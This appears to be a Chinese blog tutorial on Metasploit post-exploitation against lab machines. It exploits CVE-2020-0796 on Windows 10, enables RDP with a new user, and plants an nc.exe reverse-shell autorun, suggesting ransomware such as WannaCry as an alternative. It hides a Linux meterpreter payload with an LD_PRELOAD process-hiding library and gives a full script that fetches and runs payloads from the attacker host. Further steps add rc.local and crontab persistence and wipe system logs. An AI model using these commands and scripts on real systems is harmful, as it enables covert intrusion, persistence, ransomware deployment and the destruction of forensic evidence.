Metasploit 渗透测试之制作隐藏后门


本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!

微信公众号:一个努力的学渣!!!
在这里插入图片描述

隐藏后门的意义:

获取到目标计算机的shell是短暂的不可持续的,在或者我们很容易被用户察觉,所以需要扩大战果来隐藏自己的行踪和保证我们的持久性访问

实战-利用永恒之黑漏洞对win10进行渗透:

永恒之黑利用:

永恒之黑: CVE-2020-0796,系统底层漏洞,拿到的权限是最高权限(system),但不一定能做任何操作,比如UNC(用户操作控制)、防火墙

Windows权限分三类:User(普通用户)、Administrator(超级管理员)、System(最高权限)

SMB:文件共享协议。大部分Windows系统默认都是开启的,用于在计算机间共享文件、打印机等

漏洞原因:SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。利用该漏洞,可直接远程攻击SMB服务端远程执行任意恶意代码,也可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端

影响版本:暂不支持主流的服务器版本,只影响Windows10 1903之后的各个32、64位版Windows,包括家用版、专业版、企业版、教育版。(只影响 SMBv3.1.1、1903和1909)

下载链接:ed2k://|file|cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso|5409650688|EBA2C4E4A7B30C55FA9C042DB7461675|/

查看靶机win10版本号(需要在影响的版本范围内):

查看系统补丁情况,需要未打KB4551762补丁:

靶机需要开启445端口:

利用:

nmap 192.168.137.101 -p 445 -->需要开启445端口

search cve-2020-0796 -->查找攻击模块

use 1 -->加载模块

show options -->查看参数

set RHOSTS 192.168.137.101 -->设置目标主机IP

show targets -->查看exploit target目标类型

payload:可选择其他payload,这里选择默认的

设置本机payload监听地址:(可不设置,因为目前就是本机IP)

set LHOST 192.168.137.100 -->设置本机payload监听地址

set LPORT 4444 -->设置本机payload监听端口

run -->执行

set DefangedMode false -->禁用参数

exploit -->执行

解决办法:将extermal.zip上传到kali并解压到/usr/share/metasploit-framework/目录

unzip external.zip -d /usr/share/metasploit-framework/

run -->再次运行

getuid -->查看用户权限

background -->退出会话并将会话保存到后台

sessions -->查看连接

总结使用 metasploit 攻击的步骤:

1、查找 CVE 公布的漏洞

2、查找对应的 exploit 模块

3、配置模块参数

4、添加 payload后门

5、执行 exploit 开始攻击

创建新用户来远程连接win10桌面:

RDP 概述:远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称"本地电脑")连上提供微软终端机服务的电脑(服务器端或称"远程电脑")

post/windows/manage/enable_rdp 模块可以帮我们启动目标主机的 rdp 服务,并且可以帮我们自动创建 rdp 用户,另外还可以帮我们把目标主机的 rdp 端口映射到本地

use post/windows/manage/enable_rdp -->加载模块,post为后渗透模块,此模块不能利用家庭版,因为家庭版没有远程桌面

创建 rdp 用户:

set ENABLE False -->关闭RDP,默认开启

set FORWAED true -->开启转发(映射),如LPORT设置为3389,代表把目标端口的3389映射到本机的3389端口上

set username rdp –>创建 rdp 用户:

set password 123456 –>创建 rdp 密码:

set session 2 -->指定 sessionID

run

验证:

nmap 192.168.137.101 -p 3389

netstat -anpt|grep 4445

win7:可直接进行远程连接

win10 :不能直接远程连接,需要查看 win10 是否开启了“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”也就是网络级身份验证(Network Level Authentication,缩写 NLA,亦有称网络层认证),如果开启了,使用 Kali 是无法远程连接的。

通过查询目标机注册表来确定是否开启了 NLA:

sessions -->查看会话

sessions -i 2 -->进入之前的会话

reg queryval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v SecurityLayer -->带空格的需要用双引号括起来

reg queryval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v UserAuthentication

meterpreter reg 指令参数:
reg -h # 查看帮助
-k #注册表的路径 -v 键的名称 -d 键值
reg enumkey [-k <key>] # 枚举注册表的内容
reg createkey [-k <key>] # 创建注册表项
reg deletekey [-k <key>] # 删除注册表项
reg setval [-k <key> -v <val> -d <data>] # 在注册表里添加内容
reg deleteval [-k <key> -v <val>] # 删除注册表的值
reg queryval [-k <key> -v <val>] # 查询注册表的值

根据查询结果 SecurityLayer 和 UserAuthentication 的值,可以知道目标机开启了 NLA。

关闭 NLA,通过修改注册表将 SecurityLayer 和 UserAuthentication 的值修改为 0:

reg setval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v SecurityLayer -t REG_DWORD -d 0

reg setval -k HKLM\SYSTEM\ControlSet001\Control\“Terminal Server”\WinStations\RDP-Tcp -v UserAuthentication -t REG_DWORD -d 0

在 Kali 系统上,按下 Ctrl+shift+t 新建终端窗口,或点击终端按钮开启一个终端:

rdesktop 192.168.137.101 -->进行远程桌面连接

注意如果 win7 主机当前管理员用户正在使用会将管理员用户桌面锁定

我们回到 Win10 查看提示信息,rdp 要连接到当前计算机

30 秒之后成功登陆远程桌面

收集目标主机用户信息:

run post/windows/gather/enum_logged_on_users -->post:后渗透,gather:信息收集

getuid -->查看权限

execute -f cale -->计算器

windows没有弹出计算器,原因是shell是system权限,而登录用户是administrator用户

需要进行进程迁移(ps命令查看进程):

migrate 4364

getuid

execute -f cale

edit 1.txt -->编辑记事本

开启后门维持权限访问:

通过 CVE-2020-0796 永恒之黑获取到的 shell 是短暂不可持续的,如果一旦目标修复了此漏洞,就不能再利用这个漏洞拿到 shell,我们可以植入后门维持权限访问。

下面我们配置一个后门程序,修改注册表,需要重启才能生效

后门自动运行的方式:开机自启动、服务自启动、计划任务

说明:

由于这里没有对后门做免杀,Windows Defender 会拦截,可以在安全中心设置排除项,将后门上传到排除目录中,就不会被 Windows Defender 拦截。

在 win10 虚拟机中设置 Windows Defender 排除目录:

upload /usr/share/windows-binaries/nc.exe C:\windows\system32 -->上传nc到目标机

reg setval -k HKLM\software\microsoft\windows\currentversion\run -v lltest_nc -d ‘C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe’ -->注册表添加启动项执行 nc 反弹 shell 命令,443端口只要不存在就可以

nc 参数解释:

L 用户退出后重新进行端口侦听

d 后台运行

p 指定端口

-e 连接后执行的程序

shell -->进入shell

chcp 65001 -->修改编码(因为Windows和Linux的编码不一定,所以会导致乱码)

netsh firewall show state -->查看防火墙

netsh firewall set opmode disable -->关闭防火墙(关闭防火墙目标机会有提示,容易被发现,不可取)

netsh firewall set opmode enable -->开启防火墙

netsh advfirewall firewall add rule name=“any” protocol=TCP dir=in localport=443 action=allow -->定义入站规则(in:入站,out:出站),防火墙允许 443 端口访问网络,否则开机的时候需要用户点击允许访问网络才可以成功执行(name建议设置设置隐蔽些,跟目前已有的策略建议基本相似,貌似不支持中文)

之后等待目标机重启

因为做实验,所以这里手动重启

需要用户进入系统后,后门程序才会运行,在这个界面后门程序还没有运行。

查看后门:netstat -an|findstr “443”

在 Kali 新建一个终端使用 nc 连接后门。

nc -v 192.168.137.101 443

MSF 控制台连接方法:connect 192.168.137.101 443

ctrl+c:退出连接

扩展:我前面可以上传 nc 程序,大家也可以上传勒索病毒。大体过程如下:

1、上传勒索文件至 C 盘根目录下,为了隐蔽可以传至更隐蔽目录:upload wannacry.exe c:</font>

2、执行勒索可执行文件即可:execute -f c:\wannacry.exe

至此,勒索成功…………

实战-Linux无文件木马程序:

普通木马:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.137.100 LPORT=4445 -b "\x00" -f elf -o /var/www/html/linux -->生成木马

systemctl restart apache2 -->重启 apache2

配置侦听:

msfdb run

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 192.168.137.100

set lport 4445

run

curl http://192.168.137.100/linux -o linux -->下载 payload

chmod +x linux -->添加执行权限

./linux & -->后台运行 payload

ps aux|grep linux -->系统中存在linux进程

kill -9 7128 -->杀掉进程,连接就会断开

隐藏进程名:

LD_PRELOAD 是Linux系统中的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库

应用程序在通过系统接口调用内核时会预先加载动态链接库,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被加载

这个库里面主要包括两个内容:LD_PRELOAD和/etc/ld.so.preload

LD_PRELOAD:用于预加载环境变量

/etc/ld.so.preload:用于预加载配置文件

默认情况下,LD_PRELOAD和/etc/ld.so.preload没有任何配置

动态编译:无论程序依赖不依赖动态链接库,都会加载LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载

静态编译:不动态加载系统库文件,直接将程序所需要的各种文件全部集中到该软件平台中,这样就可以解决系统库文件被劫持,中了rookit等导致连接、网络等被隐藏的情况,常用的工具如busybox

动态链接库:动态库在编译时并不会被拷贝到目标程序中,目标程序中只会存储指向动态库的引用。等到程序运行时,动态库才会被真正加载进来。动态库的优点是,不需要拷贝到目标程序中,不会影响目标程序的体积,而且同一份库可以被多个程序使用(因为这个原因,动态库也被称作共享库)。同时,编译时才载入的特性,也可以让我们随时对库进行替换,而不需要重新编译代码。动态库带来的问题主要是,动态载入会带来一部分性能损失,使用动态库也会使得程序依赖于外部环境。如果环境缺少动态库或者库的版本不正确,就会导致程序无法运行

静态库:编译的时候会被直接拷贝一份,复制到目标程序里,这段代码在目标程序里就不会再改变了。静态库的好处很明显,编译完成之后,库文件实际上就没有作用了。目标程序没有外部依赖,直接就可以运行。当然其缺点也很明显,就是会使用目标程序的体积增大

动态库文件会产生库劫持,静态库不会

三种利用方式:

1.更改LD_PRELOAD环境变量,加载恶意库文件

2./etc/ld.so.preload加载恶意的库文件

3.更改默认的库文件/etc/ld.so.preload为其他库文件

通过/etc/ld.so.preload 加载恶意的库文件来演示效果。

首先准备一个恶意的库文件,然后配置到/etc/ld.so.preload 文件中。

上传隐藏进程的库文件源码到 Centos7.6:processhider.c 实现了隐藏进程的功能

vim processhider.c

如果需要隐藏多个进程名则使用 | 进行分隔。例如:linux|linux-root

yum group install “Development Tools” -y -->安装开发环境

gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl -->将源文件编译成库文件libc2.28.so

mv libc2.28.so /usr/local/lib/ -f 将文件移动到系统中专门存放库文件的目录

echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload -->将恶意的库文件路径写入/etc/ld.so.preload 配置文件中,这样执行程序的时候系统会自动调用我们的恶意代码并执行

run -->Kali重新监听

./linux & -->再次运行

ps aux|grep linux

发现Linux进程已被隐藏

如何恢复?

echo > /etc/ld.so.preload -->清空配置文件

rm -rf /usr/local/lib/libc2.28.so -->删除恶意的库文件

ps -aux|grep linux -->查看进程

发现可以看到linux进程了,之后杀掉进程就可以了

kill -9 19595

实战-使用脚本来进行自动创建后门:

配置脚本程序:

Kali 中切换到/var/www/html 目录,上传隐藏进程的库文件源码 processhider.c

Kali新建脚本文件:linux.sh

#!/bin/bash
#判断是否为 root 用户,非 root 用户不执行安装操作。
if [ "$EUID" -ne 0 ]
 then echo "Please run as root"
else
 #检查是否已经安装库文件劫持。如果未安装则进行安装。
 if [ `grep libc2.28 /etc/ld.so.preload` ]
 then echo "hideproc already done!!"
 else
 #安装开发环境,兼容多个版本的 linux,比如 kali 和 centos 都支持。
 apt-get update -y
 apt-get install build-essential -y
 yum check-update
 yum install build-essential wget -y
 dnf groupinstall "Development Tools" -y
 yum group install "Development Tools" -y
 #下载 processhider.c 源代码(从Kali中下载,下载到那个目录可自定义)
 curl http://192.168.137.100/processhider.c -o processhider.c
 #编译成 so 文件
 gcc -Wall -fPIC -shared -o libc2.28.so processhider.c -ldl
 #移动到库文件目录/usr/local/lib/
 mv libc2.28.so /usr/local/lib/ -f
 #检查 libc2.28 关键词是否在/etc/ld.so.preload 中,如果没有则写入 libc2.28.so 文件路径到配置文件。
 grep libc2.28 /etc/ld.so.preload || echo /usr/local/lib/libc2.28.so >> /etc/ld.so.preload
 #删除源代码
 rm -f processhider.c
 #执行 ls 命令,结果输出到 tmp 目录下,.1为隐藏文件
 ls >/tmp/.1 2>&1
 #检查系统命令是否执行出现加载错误,也就是 so 文件无法在系统上正常运行。
 #错误信息:ERROR: ld.so: object '/usr/local/lib/libc2.28.so' from /etc/ld.so.preload cannot be preloaded: ignored.
 #如果存在错误信息直接清空/etc/ld.so.preload 文件
 grep libc2.28.so /tmp/.1 && echo >/etc/ld.so.preload
 fi
fi
sleep 1
#通过 curl 命令或 wget 命令下载 payload 到/tmp 目录
curl -fsSL http://192.168.137.100/linux -o /tmp/linux || wget -q http://192.168.137.100/linux -O /tmp/linux
ls /tmp/linux
#添加执行权限
chmod +x /tmp/linux
#后台执行
nohup /tmp/linux &
#sleep 5 秒再删除文件,删除太快可能导致 payload 还没有运行起来就被删除了。
sleep 5
#删除源文件
rm -rf /tmp/linux

保存退出即可,脚本文件不需要添加执行权限

2>&1:将标准错误重定向到标准输出。这里标准输出已经重定向到了/dev/null。那么标准错误也会输出到/dev/null。/dev/null可以看作"黑洞",等价于一个只写文件,所有写入她的内容都会永远丢失,而尝试从它那儿读取内容则什么也读取不到

我们回到 MSF 控制台进行测试

首先我们先清空后台任务和前面已经建立的 session

jobs -K -->清除所有的后台任务

sessions -K -->清除所有的后台链接

run -->运行

我们到 centos 上执行一下脚本,这里教大家一个高级的执行技巧

bash <(curl -s -L http://192.168.137.100/linux.sh)) >> /dev/null 2>&1

说明:

bash <():表示将括号中的内容通过 bash 来执行

curl -s -L:curl 是一个利用 URL 语法在命令行下进行文件传输的工具

-s --silent:表示静默模式不输出任何内容

-L:跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执行。这样好处是:本地不会保存任何文件。

/dev/null 2>&1:不输出任何信息

配置开机自启动:

把命令添加到开机启动项

提示:一般黑客进来都会在开机启动项里加点东西

echo " bash <(curl -s -L http://192.168.137.100/linux.sh)) >> /dev/null 2>&1" >> /etc/rc.d/rc.local -->添加可执行权限,部分 centos 操作系统 rc.local 文件没有执行权限需要手动添加

chmod +x /etc/rc.d/rc.local

之后重启centos系统:reboot

后期可能需要想办法隐藏进程

配置计划任务:

系统级别计划任务: /etc/crontab
SHELL=/bin/bash #指定操作系统使用哪个 shell
PATH=/sbin:/bin:/usr/sbin:/usr/bin #系统执行命令的搜索路径
MAILTO=root #将执行任务的信息通过邮件发送给 xx 用户
# For details see man 4 crontabs
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
0 */1 * * * root bash <(curl -s -L http://192.168.137.100/linux.sh) >> /dev/null 2>&1

系统日志清理:

仅本地清理,如果目标服务存在日志服务器的话,所有日志还会被保留。这里仅清理系统相关日志,如果访问了某些服务,比如说通过 apache 服务获得一个 shell,你还需要清理 apache 服务的访问日志

Windows日志清理:

Win+R 运行: eventvwr

正常的远程访问在 windows 的时间查看器中可以看到相关记录

clearev -->清除日志

删除系统日志目录下的一些日志文件:

shell

del %WINDIR%*.log /a/s/q/f

Linux日志清理:

Linux 可能根据发行版本不同,日志文件名称也有所不同。所以具体清除需要大家先看一下目标操作系统。

清理历史命令:history -c

使系统不再保存历史命令,默认保存1000条:

vi /etc/profile,找到 HISTSIZE 这个值,修改为 0

last -->查看登录日志

lastb -->查了登录失败的日志

删除访问日志:

  1. 删除登录失败记录:echo > /var/log/btmp

2.删除登录成功记录:echo > /var/log/wtmp (此时执行 last 命令就会发现没有记录)

3.删除日志记录:echo > /var/log/secure

汇总脚本:clog.sh

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
history -c

执行脚本,当前bash环境执行:source clog.sh

执行时注意文件是否有执行权限。而且删除日志一般只有 root 权限才可以

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值